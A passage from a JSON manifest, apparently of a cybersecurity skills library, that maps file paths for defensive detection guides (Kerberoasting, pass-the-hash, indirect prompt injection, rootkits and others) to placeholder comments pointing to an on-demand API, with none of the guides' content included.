on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-email-forwarding-rules-attack%2FSKILL.md -->","skills/detecting-email-forwarding-rules-attack/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-email-forwarding-rules-attack%2Fassets%2Ftemplate.md -->","skills/detecting-email-forwarding-rules-attack/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-email-forwarding-rules-attack%2Freferences%2Fapi-reference.md -->","skills/detecting-email-forwarding-rules-attack/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-email-forwarding-rules-attack%2Freferences%2Fstandards.md -->","skills/detecting-email-forwarding-rules-attack/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-email-forwarding-rules-attack%2Freferences%2Fworkflows.md -->","skills/detecting-entra-offensive-tools-in-graph-logs/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-entra-offensive-tools-in-graph-logs%2FSKILL.md -->","skills/detecting-entra-offensive-tools-in-graph-logs/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-entra-offensive-tools-in-graph-logs%2Freferences%2Fapi-reference.md -->","skills/detecting-entra-offensive-tools-in-graph-logs/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-entra-offensive-tools-in-graph-logs%2Freferences%2Fstandards.md -->","skills/detecting-evasion-techniques-in-endpoint-logs/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-evasion-techniques-in-endpoint-logs%2FSKILL.md -->","skills/detecting-evasion-techniques-in-endpoint-logs/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-evasion-techniques-in-endpoint-logs%2Fassets%2Ftemplate.md -->","skills/detecting-evasion-techniques-in-endpoint-logs/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-evasion-techniques-in-endpoint-logs%2Freferences%2Fapi-reference.md -->","skills/detecting-evasion-techniques-in-endpoint-logs/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-evasion-techniques-in-endpoint-logs%2Freferences%2Fstandards.md -->","skills/detecting-evasion-techniques-in-endpoint-logs/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-evasion-techniques-in-endpoint-logs%2Freferences%2Fworkflows.md -->","skills/detecting-exfiltration-over-dns-with-zeek/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-exfiltration-over-dns-with-zeek%2FSKILL.md -->","skills/detecting-exfiltration-over-dns-with-zeek/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-exfiltration-over-dns-with-zeek%2Freferences%2Fapi-reference.md -->","skills/detecting-fileless-attacks-on-endpoints/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-fileless-attacks-on-endpoints%2FSKILL.md -->","skills/detecting-fileless-attacks-on-endpoints/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-fileless-attacks-on-endpoints%2Fassets%2Ftemplate.md -->","skills/detecting-fileless-attacks-on-endpoints/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-fileless-attacks-on-endpoints%2Freferences%2Fapi-reference.md -->","skills/detecting-fileless-attacks-on-endpoints/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-fileless-attacks-on-endpoints%2Freferences%2Fstandards.md -->","skills/detecting-fileless-attacks-on-endpoints/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-fileless-attacks-on-endpoints%2Freferences%2Fworkflows.md -->","skills/detecting-fileless-malware-techniques/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-fileless-malware-techniques%2FSKILL.md -->","skills/detecting-fileless-malware-techniques/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-fileless-malware-techniques%2Freferences%2Fapi-reference.md -->","skills/detecting-golden-ticket-attacks-in-kerberos-logs/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-golden-ticket-attacks-in-kerberos-logs%2FSKILL.md -->","skills/detecting-golden-ticket-attacks-in-kerberos-logs/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-golden-ticket-attacks-in-kerberos-logs%2Freferences%2Fapi-reference.md -->","skills/detecting-golden-ticket-forgery/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-golden-ticket-forgery%2FSKILL.md -->","skills/detecting-golden-ticket-forgery/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-golden-ticket-forgery%2Freferences%2Fapi-reference.md -->","skills/detecting-indirect-prompt-injection/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-indirect-prompt-injection%2FSKILL.md -->","skills/detecting-indirect-prompt-injection/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-indirect-prompt-injection%2Freferences%2Fapi-reference.md -->","skills/detecting-indirect-prompt-injection/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-indirect-prompt-injection%2Freferences%2Fstandards.md -->","skills/detecting-insider-data-exfiltration-via-dlp/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-insider-data-exfiltration-via-dlp%2FSKILL.md -->","skills/detecting-insider-data-exfiltration-via-dlp/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-insider-data-exfiltration-via-dlp%2Freferences%2Fapi-reference.md -->","skills/detecting-insider-threat-behaviors/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-insider-threat-behaviors%2FSKILL.md -->","skills/detecting-insider-threat-behaviors/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-insider-threat-behaviors%2Fassets%2Ftemplate.md -->","skills/detecting-insider-threat-behaviors/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-insider-threat-behaviors%2Freferences%2Fapi-reference.md -->","skills/detecting-insider-threat-behaviors/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-insider-threat-behaviors%2Freferences%2Fstandards.md -->","skills/detecting-insider-threat-behaviors/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-insider-threat-behaviors%2Freferences%2Fworkflows.md -->","skills/detecting-insider-threat-with-ueba/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-insider-threat-with-ueba%2FSKILL.md -->","skills/detecting-insider-threat-with-ueba/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-insider-threat-with-ueba%2Freferences%2Fapi-reference.md -->","skills/detecting-kerberoasting-attacks/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-kerberoasting-attacks%2FSKILL.md -->","skills/detecting-kerberoasting-attacks/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-kerberoasting-attacks%2Fassets%2Ftemplate.md -->","skills/detecting-kerberoasting-attacks/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-kerberoasting-attacks%2Freferences%2Fapi-reference.md -->","skills/detecting-kerberoasting-attacks/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-kerberoasting-attacks%2Freferences%2Fstandards.md -->","skills/detecting-kerberoasting-attacks/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-kerberoasting-attacks%2Freferences%2Fworkflows.md -->","skills/detecting-lateral-movement-in-network/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-lateral-movement-in-network%2FSKILL.md -->","skills/detecting-lateral-movement-in-network/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-lateral-movement-in-network%2Freferences%2Fapi-reference.md -->","skills/detecting-lateral-movement-with-splunk/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-lateral-movement-with-splunk%2FSKILL.md -->","skills/detecting-lateral-movement-with-splunk/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-lateral-movement-with-splunk%2Fassets%2Ftemplate.md -->","skills/detecting-lateral-movement-with-splunk/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-lateral-movement-with-splunk%2Freferences%2Fapi-reference.md -->","skills/detecting-lateral-movement-with-splunk/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-lateral-movement-with-splunk%2Freferences%2Fstandards.md -->","skills/detecting-lateral-movement-with-splunk/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-lateral-movement-with-splunk%2Freferences%2Fworkflows.md -->","skills/detecting-lateral-movement-with-zeek/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-lateral-movement-with-zeek%2FSKILL.md -->","skills/detecting-lateral-movement-with-zeek/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-lateral-movement-with-zeek%2Fassets%2Ftemplate.md -->","skills/detecting-lateral-movement-with-zeek/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-lateral-movement-with-zeek%2Freferences%2Fapi-reference.md -->","skills/detecting-lateral-movement-with-zeek/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-lateral-movement-with-zeek%2Freferences%2Fstandards.md -->","skills/detecting-lateral-movement-with-zeek/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-lateral-movement-with-zeek%2Freferences%2Fworkflows.md -->","skills/detecting-living-off-the-land-attacks/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-living-off-the-land-attacks%2FSKILL.md -->","skills/detecting-living-off-the-land-attacks/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-living-off-the-land-attacks%2Freferences%2Fapi-reference.md -->","skills/detecting-living-off-the-land-with-lolbas/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-living-off-the-land-with-lolbas%2FSKILL.md -->","skills/detecting-living-off-the-land-with-lolbas/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-living-off-the-land-with-lolbas%2Freferences%2Fapi-reference.md -->","skills/detecting-malicious-npm-packages/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-malicious-npm-packages%2FSKILL.md -->","skills/detecting-malicious-npm-packages/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-malicious-npm-packages%2Freferences%2Fapi-reference.md -->","skills/detecting-malicious-npm-packages/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-malicious-npm-packages%2Freferences%2Fstandards.md -->","skills/detecting-malicious-scheduled-tasks-with-sysmon/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-malicious-scheduled-tasks-with-sysmon%2FSKILL.md -->","skills/detecting-malicious-scheduled-tasks-with-sysmon/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-malicious-scheduled-tasks-with-sysmon%2Freferences%2Fapi-reference.md -->","skills/detecting-mimikatz-execution-patterns/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-mimikatz-execution-patterns%2FSKILL.md -->","skills/detecting-mimikatz-execution-patterns/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-mimikatz-execution-patterns%2Fassets%2Ftemplate.md -->","skills/detecting-mimikatz-execution-patterns/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-mimikatz-execution-patterns%2Freferences%2Fapi-reference.md -->","skills/detecting-mimikatz-execution-patterns/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-mimikatz-execution-patterns%2Freferences%2Fstandards.md -->","skills/detecting-mimikatz-execution-patterns/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-mimikatz-execution-patterns%2Freferences%2Fworkflows.md -->","skills/detecting-misconfigured-azure-storage/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-misconfigured-azure-storage%2FSKILL.md -->","skills/detecting-misconfigured-azure-storage/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-misconfigured-azure-storage%2Freferences%2Fapi-reference.md -->","skills/detecting-mobile-malware-behavior/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-mobile-malware-behavior%2FSKILL.md -->","skills/detecting-mobile-malware-behavior/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-mobile-malware-behavior%2Fassets%2Ftemplate.md -->","skills/detecting-mobile-malware-behavior/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-mobile-malware-behavior%2Freferences%2Fapi-reference.md -->","skills/detecting-mobile-malware-behavior/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-mobile-malware-behavior%2Freferences%2Fstandards.md -->","skills/detecting-mobile-malware-behavior/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-mobile-malware-behavior%2Freferences%2Fworkflows.md -->","skills/detecting-modbus-command-injection-attacks/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-modbus-command-injection-attacks%2FSKILL.md -->","skills/detecting-modbus-command-injection-attacks/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-modbus-command-injection-attacks%2Freferences%2Fapi-reference.md -->","skills/detecting-modbus-protocol-anomalies/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-modbus-protocol-anomalies%2FSKILL.md -->","skills/detecting-modbus-protocol-anomalies/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-modbus-protocol-anomalies%2Freferences%2Fapi-reference.md -->","skills/detecting-model-extraction-attacks/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-model-extraction-attacks%2FSKILL.md -->","skills/detecting-model-extraction-attacks/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-model-extraction-attacks%2Freferences%2Fapi-reference.md -->","skills/detecting-model-extraction-attacks/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-model-extraction-attacks%2Freferences%2Fstandards.md -->","skills/detecting-network-anomalies-with-zeek/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-network-anomalies-with-zeek%2FSKILL.md -->","skills/detecting-network-anomalies-with-zeek/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-network-anomalies-with-zeek%2Freferences%2Fapi-reference.md -->","skills/detecting-network-scanning-with-ids-signatures/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-network-scanning-with-ids-signatures%2FSKILL.md -->","skills/detecting-network-scanning-with-ids-signatures/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-network-scanning-with-ids-signatures%2Freferences%2Fapi-reference.md -->","skills/detecting-ntlm-relay-with-event-correlation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-ntlm-relay-with-event-correlation%2FSKILL.md -->","skills/detecting-ntlm-relay-with-event-correlation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-ntlm-relay-with-event-correlation%2Freferences%2Fapi-reference.md -->","skills/detecting-oauth-token-theft/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-oauth-token-theft%2FSKILL.md -->","skills/detecting-oauth-token-theft/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-oauth-token-theft%2Freferences%2Fapi-reference.md -->","skills/detecting-pass-the-hash-attacks/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-pass-the-hash-attacks%2FSKILL.md -->","skills/detecting-pass-the-hash-attacks/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-pass-the-hash-attacks%2Fassets%2Ftemplate.md -->","skills/detecting-pass-the-hash-attacks/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-pass-the-hash-attacks%2Freferences%2Fapi-reference.md -->","skills/detecting-pass-the-hash-attacks/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-pass-the-hash-attacks%2Freferences%2Fstandards.md -->","skills/detecting-pass-the-hash-attacks/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-pass-the-hash-attacks%2Freferences%2Fworkflows.md -->","skills/detecting-pass-the-ticket-attacks/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-pass-the-ticket-attacks%2FSKILL.md -->","skills/detecting-pass-the-ticket-attacks/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-pass-the-ticket-attacks%2Freferences%2Fapi-reference.md -->","skills/detecting-port-scanning-with-fail2ban/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-port-scanning-with-fail2ban%2FSKILL.md -->","skills/detecting-port-scanning-with-fail2ban/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-port-scanning-with-fail2ban%2Freferences%2Fapi-reference.md -->","skills/detecting-privilege-escalation-attempts/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-privilege-escalation-attempts%2FSKILL.md -->","skills/detecting-privilege-escalation-attempts/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-privilege-escalation-attempts%2Fassets%2Ftemplate.md -->","skills/detecting-privilege-escalation-attempts/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-privilege-escalation-attempts%2Freferences%2Fapi-reference.md -->","skills/detecting-privilege-escalation-attempts/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-privilege-escalation-attempts%2Freferences%2Fstandards.md -->","skills/detecting-privilege-escalation-attempts/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-privilege-escalation-attempts%2Freferences%2Fworkflows.md -->","skills/detecting-privilege-escalation-in-kubernetes-pods/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-privilege-escalation-in-kubernetes-pods%2FSKILL.md -->","skills/detecting-privilege-escalation-in-kubernetes-pods/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-privilege-escalation-in-kubernetes-pods%2Fassets%2Ftemplate.md -->","skills/detecting-privilege-escalation-in-kubernetes-pods/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-privilege-escalation-in-kubernetes-pods%2Freferences%2Fapi-reference.md -->","skills/detecting-privilege-escalation-in-kubernetes-pods/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-privilege-escalation-in-kubernetes-pods%2Freferences%2Fstandards.md -->","skills/detecting-privilege-escalation-in-kubernetes-pods/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-privilege-escalation-in-kubernetes-pods%2Freferences%2Fworkflows.md -->","skills/detecting-process-hollowing-technique/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-process-hollowing-technique%2FSKILL.md -->","skills/detecting-process-hollowing-technique/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-process-hollowing-technique%2Fassets%2Ftemplate.md -->","skills/detecting-process-hollowing-technique/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-process-hollowing-technique%2Freferences%2Fapi-reference.md -->","skills/detecting-process-hollowing-technique/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-process-hollowing-technique%2Freferences%2Fstandards.md -->","skills/detecting-process-hollowing-technique/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-process-hollowing-technique%2Freferences%2Fworkflows.md -->","skills/detecting-process-injection-techniques/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-process-injection-techniques%2FSKILL.md -->","skills/detecting-process-injection-techniques/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-process-injection-techniques%2Freferences%2Fapi-reference.md -->","skills/detecting-qr-code-phishing-with-email-security/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-qr-code-phishing-with-email-security%2FSKILL.md -->","skills/detecting-qr-code-phishing-with-email-security/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-qr-code-phishing-with-email-security%2Fassets%2Ftemplate.md -->","skills/detecting-qr-code-phishing-with-email-security/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-qr-code-phishing-with-email-security%2Freferences%2Fapi-reference.md -->","skills/detecting-qr-code-phishing-with-email-security/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-qr-code-phishing-with-email-security%2Freferences%2Fstandards.md -->","skills/detecting-qr-code-phishing-with-email-security/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-qr-code-phishing-with-email-security%2Freferences%2Fworkflows.md -->","skills/detecting-ransomware-encryption-behavior/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-ransomware-encryption-behavior%2FSKILL.md -->","skills/detecting-ransomware-encryption-behavior/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-ransomware-encryption-behavior%2Freferences%2Fapi-reference.md -->","skills/detecting-ransomware-precursors-in-network/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-ransomware-precursors-in-network%2FSKILL.md -->","skills/detecting-ransomware-precursors-in-network/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-ransomware-precursors-in-network%2Fassets%2Ftemplate.md -->","skills/detecting-ransomware-precursors-in-network/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-ransomware-precursors-in-network%2Freferences%2Fapi-reference.md -->","skills/detecting-ransomware-precursors-in-network/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-ransomware-precursors-in-network%2Freferences%2Fstandards.md -->","skills/detecting-ransomware-precursors-in-network/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-ransomware-precursors-in-network%2Freferences%2Fworkflows.md -->","skills/detecting-rdp-brute-force-attacks/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-rdp-brute-force-attacks%2FSKILL.md -->","skills/detecting-rdp-brute-force-attacks/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-rdp-brute-force-attacks%2Freferences%2Fapi-reference.md -->","skills/detecting-rootkit-activity/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fdetecting-rootkit-activity%2FSKILL.md -->","skills/detecting-rootkit-activity/references/api-reference.md":"<!-- Skill available on-demand via 